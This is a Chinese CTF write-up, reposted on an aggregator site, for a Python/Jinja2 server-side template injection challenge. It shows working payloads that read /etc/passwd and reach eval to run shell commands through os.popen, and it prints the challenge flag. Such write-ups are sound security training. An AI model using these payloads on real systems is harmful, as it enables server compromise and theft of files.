首页 > 编程语言 > 详细

攻防世界高手进阶之Web_python_template_injection

时间:2019-09-15 16:32:49      阅读:757      评论:0      收藏:0      [点我收藏+]

python模板注入

看了一堆文章,也不是看的很明白,反而把题目做出来了

大概思路如下

简单探测

http://111.198.29.45:42611/{{7+7}}

返回

 技术分享图片

说明服务器执行了{{}}里面这一段代码

利用{{ config.items() }}可以查看服务器的配置信息

技术分享图片

读取passwd信息

{{ [].__class__.__base__.__subclasses__()[40](‘/etc/passwd‘).read() }}

 

技术分享图片

 

 执行成功

Python3代码

执行下面这一段代码

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == ‘catch_warnings‘ %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if ‘eval‘ in b.keys() %}    //找到了
      {{ b[‘eval‘](‘__import__("os").popen("ls").read()‘) }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
 

 列出文件

技术分享图片

修改一下命令

ls 改成cat fl4g,就可以读取flag了

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == catch_warnings %}

  {% for b in c.__init__.__globals__.values() %}  

  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数

    {% if eval in b.keys() %}    //找到了

      {{ b[eval](__import__("os").popen("cat fl4g").read()) }} 

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

Get flag成功

 

Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

说起来参考了这几位师傅的文章,链接如下

https://blog.csdn.net/iamsongyu/article/details/85861811

https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

https://xz.aliyun.com/t/2908

 

攻防世界高手进阶之Web_python_template_injection

原文:https://www.cnblogs.com/mke2fs/p/11523005.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!